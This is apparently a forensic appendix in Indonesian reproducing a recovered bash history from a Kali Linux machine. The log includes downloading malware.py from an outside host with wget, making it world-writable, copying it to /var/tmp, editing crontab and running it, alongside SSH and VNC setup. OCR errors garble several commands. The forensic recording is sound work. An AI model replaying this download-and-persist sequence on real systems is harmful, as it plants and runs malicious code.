LAMPIRAN A

History Perintah Bash OS Kali Linux

Terdapat baris perintanh untuk mengunduh malware, file .bash_history ini memiliki

informasi timestamp terakhir diakses pada tanggal 21-02-2019.

sudo su

cd /root/

Is

cd Downloads/

Is

tar xvzf smarthings.tar.gz
mkdir /home/smarthings
cd/ho

cd/hom

cd /home

Is

cd smarthings/

Is

mv /root/Downloads/*.py ./
Is

python get.py

gpio -g write 17 1

which python

python --version

import RPi.GPIO

python import RPi.GPI1O
sudo apt-get update

sudo apt-get -y install python-rpi.gpio
Is

python get.py

python push.py

sudo apt-get -y install python-dev

python get.py
pip install RPi.GP1O

python

env

sudo apt-get update

sudo apt-get install rpi.gpio
Is

python3 get.py

python get.py
reboot

sudo su

cd /home/smarthings/
Is

Is -l

python push.py
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python3

pip3 search RPI1O

pip search RPIO

python

sudo apt-get install python-setuptools
sudo easy_install -U RPIO
python get.py

cd /root/

Is -a

nano .bash_history

cd /home/smarthings/

Is

crontab -e

reboot

systemctl ssh enable
systemctl enable ssh
service ssh start

reboot

Is

cd /home/

Is

cd smarthings/

Is

apt-get install vnc4server
vncserver

nano /root/.vnc/kali\:1.log
mkdir /home/sim

cd /home/sim/

Is

waget http://malware.elmediahost.com/malware.py
Is

chmod 777 malware.py

Is

cp malware.py /var/tmp/malware.py
crontab -e

Is

python malware.py

exit

sudo service ssh start
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